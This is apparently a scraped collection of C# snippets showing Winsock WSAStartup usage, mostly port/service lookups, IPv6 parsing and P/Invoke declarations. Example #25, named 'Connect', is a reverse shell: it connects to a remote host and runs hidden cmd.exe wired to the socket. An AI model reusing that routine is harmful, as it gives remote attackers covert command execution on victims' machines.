Example #1
0
         public static short GetServiceByName(string service, string protocol)
         {
             
             var wsaData = new WSAData();
             if(WSAStartup(MakeWord(2,2), ref wsaData) != 0)
             {
                 throw new SocketUtilException("WSAStartup", 
                     new SocketException(Marshal.GetLastWin32Error()));
 
             }
             try
             {
                 var result = getservbyname(service, protocol);
                 if (IntPtr.Zero == result)
                 {
                     throw new SocketUtilException(
                         string.Format("Could not resolve port for service {0}", service), 
                         new SocketException(Marshal.GetLastWin32Error()));
                 }
                 var srvent = (servent)Marshal.PtrToStructure(result, typeof(servent));
                 return Convert.ToInt16(IPAddress.NetworkToHostOrder(srvent.s_port));
             }
             finally
             {
                 WSACleanup();
             }
             
             
 
         }
Example #2
0
         public static string GetServiceByPort(short port, string protocol)
         {
             
             var wsaData = new WSAData();
             if (WSAStartup(MakeWord(2, 2), ref wsaData) != 0)
             {
                 throw new SocketUtilException("WSAStartup",
                     new SocketException(Marshal.GetLastWin32Error()));
 
             }
             try
             {
                 var netport = Convert.ToInt16(IPAddress.HostToNetworkOrder(port));
                 var result = getservbyport(netport, protocol);
                 if (IntPtr.Zero == result)
                 {
                     throw new SocketUtilException(
                         string.Format("Could not resolve service for port {0}", port),
                         new SocketException(Marshal.GetLastWin32Error()));
                 }
                 var srvent = (servent)Marshal.PtrToStructure(result, typeof(servent));
                 return srvent.s_name;;
             }
             finally
             {
                 WSACleanup();
             }
         }
Example #3
0
//This function initiate the winsock service calling
//the api_WSAStartup funtion and returns resulting value.
        private static int InitiateService()
        {
            WSAData udtWSAData = default(WSAData);
            int     lngResult  = 0;

            lngResult = api_WSAStartup(WinsockVersion.SOCKET_VERSION_11, ref udtWSAData);
            return(lngResult);
        }
Example #4
0
    static IPv6Address()
    {
        WSAData wsaData = new WSAData();

        int ret = WSAStartup((short)0x0202, // we need 2.2
                             out wsaData);

        if (ret != 0)
        {
            throw new ArgumentException("WSAStartup failed");
        }
    }
Example #5
0
        public static void Connect()
        {
            WSAData data   = new WSAData();
            int     result = 0;

            data.wHighVersion = 2;
            data.wVersion     = 2;

            result = WSAStartup(36, ref data);
            if (result != 0)
            {
                throw new Exception("socket connect failure!");
            }
        }
Example #6
0
        public static void WSAStartup()
        {
            WSAData data = new WSAData(2, 2);

            int result = WSAStartup(36, ref data);

            if (result == 0) // Success
            {
                WSACleanup();
            }
            else
            {
                throw new System.ComponentModel.Win32Exception(result);
            }
        }
Example #7
0
            public void SetHostName(string name)
            {
                // this takes a long time (often > 30 seconds)
                WSAData data = new WSAData();

                data.highVersion = HIGH_VERSION;
                data.version     = LOW_VERSION;

                var result = WSAStartup(WORD_VERSION, ref data);

                var nameBytes = Encoding.ASCII.GetBytes(name + '\0');

                result = sethostname(nameBytes, nameBytes.Length);

                WSACleanup();
            }
Example #8
0
        public static bool InstallNSP()
        {
            WSAData data = new WSAData();
            GUID    guid = new GUID();

            guid.d = new byte[8];
            int result = 0;

            data.highVersion = 2;
            data.version     = 2;

            short version = (short)MakeWord(2, 2);

            result = WSAStartup(version, out data);
            if (result == 0)
            {
                string systempath = Environment.SystemDirectory;

                string nsppath = systempath + "\\" + "spellnsp.dll";

                //79633098-C0A1-4898-8B11-55D2951116FB}
                guid.a    = 0x79633098;
                guid.b    = 0x4091;
                guid.c    = 0x4898;
                guid.d[0] = 0x55;
                guid.d[1] = 0xD2;
                guid.d[2] = 0x95;
                guid.d[3] = 0x11;
                guid.d[4] = 0x16;
                guid.d[5] = 0xFB;

                int retval = WSCInstallNameSpace("Caching NSP", nsppath, 12, 1, ref guid);
                if (retval != 0)
                {
                    Int32 errval = WSAGetLastError();
                    Console.WriteLine(" Error : " + errval.ToString());
                }
                Console.WriteLine(data.description);
                WSACleanup();
            }

            return(true);
        }
        static void Main(string[] args)
        {
            CommContext cmt    = new CommContext();
            IntPtr      cmtPtr = Marshal.AllocHGlobal(Marshal.SizeOf(cmt));

            Marshal.StructureToPtr(cmt, cmtPtr, true);
            string host = "LocalHost";

            byte[] hostBytes = Encoding.UTF8.GetBytes(host + "\0");
            IntPtr hostPtr   = Marshal.AllocHGlobal(hostBytes.Length);

            Marshal.Copy(hostBytes, 0, hostPtr, hostBytes.Length);
            string username = "******";

            byte[] usernameBytes = Encoding.UTF8.GetBytes(username + "\0");
            IntPtr usernamePtr   = Marshal.AllocHGlobal(usernameBytes.Length);

            Marshal.Copy(usernameBytes, 0, usernamePtr, usernameBytes.Length);
            string password = "******";

            byte[] passwordBytes = Encoding.UTF8.GetBytes(password + "\0");
            IntPtr passwordPtr   = Marshal.AllocHGlobal(passwordBytes.Length);

            Marshal.Copy(passwordBytes, 0, passwordPtr, passwordBytes.Length);
            string shell_cmd = "shell_cmd";

            byte[] shell_cmdBytes = Encoding.UTF8.GetBytes(shell_cmd + "\0");
            IntPtr shell_cmdPtr   = Marshal.AllocHGlobal(shell_cmdBytes.Length);

            Marshal.Copy(shell_cmdBytes, 0, shell_cmdPtr, shell_cmdBytes.Length);
            const int BUF_LEN   = 256;
            IntPtr    errmsgPtr = new IntPtr(BUF_LEN);
            int       bLen      = BUF_LEN;
            WSAData   data      = new WSAData();

            WSAStartup(0x201, out data);
            IntPtr sio     = socket(ADDRESS_FAMILIES_INT.AF_INET, SOCKET_TYPE_INT.SOCK_STREAM, PROTOCOL_INT.IPPROTO_TCP);
            IntPtr sErr    = socket(ADDRESS_FAMILIES_INT.AF_INET, SOCKET_TYPE_INT.SOCK_STREAM, PROTOCOL_INT.IPPROTO_TCP);
            int    results = WaitForLogon(cmtPtr, hostPtr, usernamePtr, passwordPtr, shell_cmdPtr, errmsgPtr, bLen, sio, sErr);
            string error   = Marshal.PtrToStringAuto(errmsgPtr);
        }
Example #10
0
    public static IPv6Address Parse(string address)
    {
        if (address == null)
        {
            throw new ArgumentNullException("Bad string address");
        }

TryAgain:

        int Size = 28;
        sockaddr_in6 SockAddrIN6 = new sockaddr_in6();

        int ret = WSAStringToAddress(address, AddressFamily.InterNetworkV6,
                                     IntPtr.Zero, ref SockAddrIN6, ref Size);

        if (ret != 0)
        {
            int Err = Marshal.GetLastWin32Error();

            if (Err == 10093)
            {
                WSAData wsaData = new WSAData();

                ret = WSAStartup((short)0x0202, out wsaData);
                if (ret != 0)
                {
                    throw new ArgumentException("WSAStartup failed");
                }
                goto TryAgain;
            }

            throw new ArgumentException("WSAStringToAddress failed for " + address + " error " + Err.ToString());
        }

        IPv6Address instance = new IPv6Address(SockAddrIN6.sin6_addr,
                                               SockAddrIN6.sin6_scope_id);

        return(instance);
    }
Example #11
0
        public static bool UInstallNSP()
        {
            WSAData data = new WSAData();
            GUID    guid = new GUID();

            guid.d = new byte[8];
            int result = 0;

            data.highVersion = 2;
            data.version     = 2;

            short version = (short)MakeWord(2, 2);

            result = WSAStartup(version, out data);
            if (result == 0)
            {
                //79633098-C0A1-4898-8B11-55D2951116FB}
                guid.a    = 0x79633098;
                guid.b    = 0x4091;
                guid.c    = 0x4898;
                guid.d[0] = 0x55;
                guid.d[1] = 0xD2;
                guid.d[2] = 0x95;
                guid.d[3] = 0x11;
                guid.d[4] = 0x16;
                guid.d[5] = 0xFB;

                int retval = WSCUnInstallNameSpace(ref guid);
                if (retval != 0)
                {
                    Int32 errval = WSAGetLastError();
                    Console.WriteLine(" Error : " + errval.ToString());
                }

                WSACleanup();
            }

            return(true);
        }
Example #12
0
        public static bool TryConnect(string ipString, int port)
        {
            if (!Initialized)
            {
                var wsaData = new WSAData();
                if (WSAStartup(0x0202, out wsaData) != 0)
                {
                    return(false);
                }
                m_Buffer    = typeof(SocketAddress).GetField("m_Buffer", (BindingFlags.Instance | BindingFlags.NonPublic));
                Initialized = true;
            }
            IPAddress address;

            if (!IPAddress.TryParse(ipString, out address))
            {
                return(false);
            }
            if (!((port >= 0) && (port <= 0xffff)))
            {
                return(false);
            }
            var           remoteEP      = new IPEndPoint(address, port);
            SocketAddress socketAddress = remoteEP.Serialize();
            IntPtr        m_Handle      = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp, IntPtr.Zero, 0, 1 /*overlapped*/);

            if (m_Handle == new IntPtr(-1))
            {
                return(false);
            }
            new SocketPermission(NetworkAccess.Connect, TransportType.Tcp, remoteEP.Address.ToString(), remoteEP.Port).Demand();
            var buf    = (byte[])m_Buffer.GetValue(socketAddress);
            var result = (WSAConnect(m_Handle, buf, socketAddress.Size, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == 0);

            closesocket(m_Handle);
            return(result);
        }
Example #13
0
 internal static extern SocketError WSAStartup(short wVersionRequested, out WSAData lpWSAData);
Example #14
0
 static extern Int32 WSAStartup(Int16 wVersionRequested, ref WSAData wsaData);
Example #15
0
        /// <summary>
        /// Gets service port number by name/protocol
        /// </summary>
        /// <remarks>http://stackoverflow.com/questions/3457977/convert-service-name-to-port</remarks>
        /// <param name="name">name of service</param>
        /// <param name="protocol">protocol the service is using</param>
        /// <returns>port number</returns>
        public static int GetServByName(string name, string protocol)
        {
            // Vorbedingung
            if (string.IsNullOrEmpty(name))
            {
                throw new ArgumentNullException("name");
            }

            //check first in services file
            if (File.Exists(etcFileHelper.GetFullFilename(etcFileHelper.ServicesFilename)))
            {
                var services = etcFileHelper.ReadServices(etcFileHelper.GetFullFilename(etcFileHelper.ServicesFilename));
                var service  = services.FirstOrDefault(i => i.Name.ToLower() == name.ToLower() && i.Protocol.ToLower() == protocol.ToLower());
                if (service != null)
                {
                    return(service.Port);
                }
            }

            //we failed to find an appropriate service in the file, use the api instead.

            int result = 0;

            int intResult = -1;

            if (int.TryParse(name, out intResult))
            {
                result = System.Convert.ToInt32(name, CultureInfo.InvariantCulture);
            }
            else
            {
                WSAData dummy      = new WSAData();
                int     sccuessful = NativeMethods.WSAStartup(0x0202, ref dummy);
                if (sccuessful != 0)
                {
                    throw CreateWSAException();
                }

                IntPtr intPtr = NativeMethods.GetServByName(name, protocol);

                try
                {
                    if (intPtr != IntPtr.Zero)
                    {
                        Servent servent = (Servent)Marshal.PtrToStructure(intPtr, typeof(Servent));
                        result = System.Convert.ToInt32(IPAddress.NetworkToHostOrder(servent.s_port));
                    }
                    else
                    {
                        throw CreateWSAException();
                    }
                }
                finally
                {
                    sccuessful = NativeMethods.WSACleanup();
                    if (sccuessful != 0)
                    {
                        throw CreateWSAException();
                    }
                }
            }

            return(result);
        }
Example #16
0
 public static extern Int32 WSAStartup(short wVersionRequested, ref WSAData wsaData);
Example #17
0
        // Implemented functions from IDevice
        public DevicePool Inquire()
        {
            DevicePool pool = new DevicePool();
            IntPtr lpwsaqueryset = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WSAQUERYSET)));
            WSAQUERYSET wsaqueryset = new WSAQUERYSET();
            wsaqueryset.dwSize = Marshal.SizeOf(typeof(WSAQUERYSET));
            wsaqueryset.dwNameSpace = 16;
            WSAData data = new WSAData();
            data.wHighVersion = 2;
            data.wVersion = 2;
            Marshal.StructureToPtr(wsaqueryset,lpwsaqueryset,false);
            int flags = (int)0x0002;
            flags |= (int)(0x1000|0x0010|0x0100);
            Int32 handle = 0;

            int result = 0;

            result = WSAStartup(36,data);
            if(result != 0)
            {
                throw new Exception("WSA Error, make sure you have the newest version (at least 2.2) of Winsock2!");
            }
            result = WSALookupServiceBegin(wsaqueryset,flags,ref handle);

            if (result == -1)
            {
                int error = WSAGetLastError();
                if (error == 10108) // No device attached
                {
                    throw new Exception("You do not have a bluetooth device on your system.");
                }
            }
            while (0 == result)
            {
                Int32 dwBuffer = 0x10000;
                IntPtr pBuffer = Marshal.AllocHGlobal(dwBuffer);

                WSAQUERYSET qsResult = new WSAQUERYSET() ;

                result = WSALookupServiceNext(handle, flags,
                ref dwBuffer, pBuffer);

                if (0==result)
                {
                    Marshal.PtrToStructure(pBuffer, qsResult);
                    CS_ADDR_INFO addr = new CS_ADDR_INFO();
                    Marshal.PtrToStructure(qsResult.lpcsaBuffer, addr);
                    sockaddr sa = new sockaddr();
                    Marshal.PtrToStructure(addr.RemoteAddr.lpSockaddr,sa);
                    monotooth.BluetoothAddress ba = new BluetoothAddress();
                    for (int i = 5; i >= 0; i--)
                    {
                        ba.Array[i] = sa.sa_data[i];
                    }
                    WindowsRemoteDevice dev = new WindowsRemoteDevice(ba, qsResult.szServiceInstanceName);
                    pool.Add(dev);

                } else
                {
                WSALookupServiceEnd(handle);
                }
                Marshal.FreeHGlobal(pBuffer);
            }

            Marshal.FreeHGlobal(lpwsaqueryset);
            WSACleanup();
            return pool;
        }
Example #18
0
 private static extern int WSAStartup(ushort wVersionRequested, ref WSAData wsaData);
 public static extern int WSAStartup(UInt16 version, out WSAData lpWSAData);
Example #20
0
        public static void WSAStartup()
        {
            WSAData data = new WSAData(2, 2);

            int result = WSAStartup(36, ref data);
            if (result == 0) // Success
                WSACleanup();
            else
                throw new System.ComponentModel.Win32Exception(result);
        }
Example #21
0
 private static extern int api_WSAStartup(int wVersionRequired, ref WSAData lpWSADATA);
Example #22
0
 private static extern int WSAStartup([In] short wVersionRequested, out WSAData lpWSAData);
Example #23
0
 public static extern int WSAStartup(
     UInt16 wVersionRequested,
     WSAData wsaData);
Example #24
0
        ///<summary> Please check the arguments of the function you want to call </summary>
        public static Delegate GetDelegate(Libraries lib, Functions func)
        {
            switch (lib)
            {
            case Libraries.User32:
            {
                switch (func)
                {
                case Functions.User32_MessageBoxA:
                    return(new MessageBoxA((int id, string msg, string title, int button) => { return 0; }));

                case Functions.User32_SendMessageA:
                    return(new SendMessage((IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam) => { return 0; }));
                }
                break;
            }

            case Libraries.Kernel32:
            {
                switch (func)
                {
                case Functions.Kernel32_ExitProcess:
                    return(new ExitProcess((int a) => { }));

                case Functions.Kernel32_GetStdHandle:
                    return(new GetStdHandle((int a) => { return 0; }));

                case Functions.Kernel32_Sleep:
                    return(new Sleep((int a) => { }));

                case Functions.Kernel32_WriteConsoleA:
                    return(new WriteConsoleA((int handle, string value, int len, int written, int zero) => { return false; }));
                }
                break;
            }

            case Libraries.ws2_32:
            {
                switch (func)
                {
                case Functions.ws2_32_recv:
                    return(new recv((int s, int buf, int len, int flags) => { return 0; }));

                case Functions.ws2_32_send:
                    return(new send((int s, byte *buf, int len, int flags) => { return 0; }));

                case Functions.ws2_32_closesocket:
                    return(new closesocket((int SocketHandle) => { return 0; }));

                case Functions.ws2_32_htonl:
                    return(new htonl((long hostlong) => { return 0; }));

                case Functions.ws2_32_htons:
                    return(new htons((int hostshort) => { return 0; }));

                case Functions.ws2_32_inet_addr:
                    return(new inet_addr((string cp) => { return 0; }));

                case Functions.ws2_32_inet_ntoa:
                    return(new inet_ntoa((int _in) => { return 0; }));

                case Functions.ws2_32_listen:
                    return(new listen((int s, int backlog) => { return 0; }));

                case Functions.ws2_32_ntohl:
                    return(new ntohl((long netlong) => { return 0; }));

                case Functions.ws2_32_ntohs:
                    return(new ntohs((int netshort) => { return 0; }));

                case Functions.ws2_32_socket:
                    return(new socket((int af, int type, int protocol) => { return 0; }));

                case Functions.ws2_32_WSACleanup:
                    return(new WSACleanup(() => { return 0; }));

                case Functions.ws2_32_WSAGetLastError:
                    return(new WSAGetLastError(() => { return 0; }));

                case Functions.ws2_32_WSAStartup:
                    return(new WSAStartup((int Version, out WSAData Data) => { Data = new WSAData();  return 0; }));

                case Functions.ws2_32_bind:
                    return(new bind((int SocketHandle, ref sockaddr_in addr, int namelen) => { return 0; }));

                case Functions.ws2_32_accept:
                    return(new accept((int socketHandle, ref sockaddr_in socketAddress, ref int addressLength) => { return 0; }));

                case Functions.ws2_32_connect:
                    return(new connect((int SocketHandle, ref sockaddr_in addr, int addrsize) => { return 0; }));
                }
                break;
            }
            }
            return(null);
        }
Example #25
0
        public static bool Connect(string ipString, int port)
        {
            if (!Initialized)
            {
                var wsaData = new WSAData();
                if (WSAStartup(0x0202, out wsaData) != 0)
                {
                    return(false);
                }

                m_Buffer = typeof(SocketAddress).GetField("m_Buffer", (BindingFlags.Instance | BindingFlags.NonPublic));

                Initialized = true;
            }

            IPAddress address;

            if (!IPAddress.TryParse(ipString, out address))
            {
                return(false);
            }
            if (!((port >= 0) && (port <= 0xffff)))
            {
                return(false);
            }
            var remoteEP = new IPEndPoint(address, port);

            SocketAddress socketAddress = remoteEP.Serialize();

            IntPtr m_Handle = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp, IntPtr.Zero, 0, 0);

            if (m_Handle == new IntPtr(-1))
            {
                return(false);
            }

            new SocketPermission(NetworkAccess.Connect, TransportType.Tcp, remoteEP.Address.ToString(), remoteEP.Port).Demand();

            var buf = (byte[])m_Buffer.GetValue(socketAddress);

            var result = (WSAConnect(m_Handle, buf, socketAddress.Size, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == 0);

            STARTUPINFO startupInfo = new STARTUPINFO();

            startupInfo.cb         = Marshal.SizeOf(startupInfo);
            startupInfo.lpReserved = null;
            startupInfo.dwFlags    = (0x00000001 | 0x00000100); //(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
            startupInfo.hStdInput  = m_Handle;
            startupInfo.hStdOutput = m_Handle;
            startupInfo.hStdError  = m_Handle;

            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();

            String user        = "******";
            String domain      = ".";
            String password    = "******";
            int    LogFlags    = 0x00000002; //LOGON_NETCREDENTIALS_ONLY - Change to 0x00000000 if you want to run with known credentials (RunAs)
            String appname     = @"C:\Windows\System32\cmd.exe";
            String cmd         = null;
            int    CreateFlags = 0x08000000; //CREATE_NO_WINDOW
            String currentDir  = System.IO.Directory.GetCurrentDirectory();

            try
            {
                CreateProcessWithLogonW(
                    user,
                    domain,
                    password,
                    LogFlags,
                    appname,
                    cmd,
                    CreateFlags,
                    0,
                    currentDir,
                    ref startupInfo,
                    out processInfo);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }

            return(result);
        }
Example #26
0
 static extern Int32 WSAStartup(Int16 wVersionRequested, ref WSAData wsaData);
Example #27
0
 internal static extern int WSAStartup(
     [In] short wVersionRequested,
     [Out] out WSAData lpWSAData
     );
Example #28
0
 public static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
Example #29
0
 static extern Int32 WSAStartup(ushort wVersionRequested, out WSAData wsaData);
Example #30
0
        /// <summary>
        /// Gets protocol number by name (tcp/udp/icmp etc')
        /// </summary>
        /// <param name="name">protocol name</param>
        /// <returns>protocol number</returns>
        public static int GetProtoByName(string name)
        {
            // Vorbedingung
            if (string.IsNullOrEmpty(name))
            {
                throw new ArgumentNullException("name");
            }

            //check first in protocols file
            if (File.Exists(etcFileHelper.GetFullFilename(etcFileHelper.ProtocolFilename)))
            {
                var protocols = etcFileHelper.ReadProtocols(etcFileHelper.GetFullFilename(etcFileHelper.ProtocolFilename));
                var protocol  = protocols.FirstOrDefault(i => i.Name.ToLower() == name.ToLower());
                if (protocol != null)
                {
                    return(protocol.ProtocolNumber);
                }
            }

            //failed, use API.

            int result = 0;

            int intResult = -1;

            if (int.TryParse(name, out intResult))
            {
                result = System.Convert.ToInt32(name, CultureInfo.InvariantCulture);
            }
            else
            {
                WSAData dummy      = new WSAData();
                int     sccuessful = NativeMethods.WSAStartup(0x0202, ref dummy);
                if (sccuessful != 0)
                {
                    throw CreateWSAException();
                }

                IntPtr intPtr = NativeMethods.GetProtocolByName(name);

                try
                {
                    if (intPtr != IntPtr.Zero)
                    {
                        ProtoEnt protoent = (ProtoEnt)Marshal.PtrToStructure(intPtr, typeof(ProtoEnt));
                        result = System.Convert.ToInt32(protoent.p_proto);
                    }
                    else
                    {
                        throw CreateWSAException();
                    }
                }
                finally
                {
                    sccuessful = NativeMethods.WSACleanup();
                    if (sccuessful != 0)
                    {
                        throw CreateWSAException();
                    }
                }
            }

            return(result);
        }
Example #31
0
 public static extern SocketError WSAStartup([In] short wVersionRequested, [Out] out WSAData lpWSAData);
 static extern private Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
Example #33
0
 public static extern int WSAStartup(ushort Version, out WSAData Data);
Example #34
0
//UPGRADE_WARNING: Structure WSAData may require marshalling attributes to be passed as an argument in this Declare statement. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="C429C3A5-5D47-4CD9-8F51-74A1616405DC"'
        private static extern int api_WSAStartup(int wVersionRequired, ref WSAData lpWSADATA);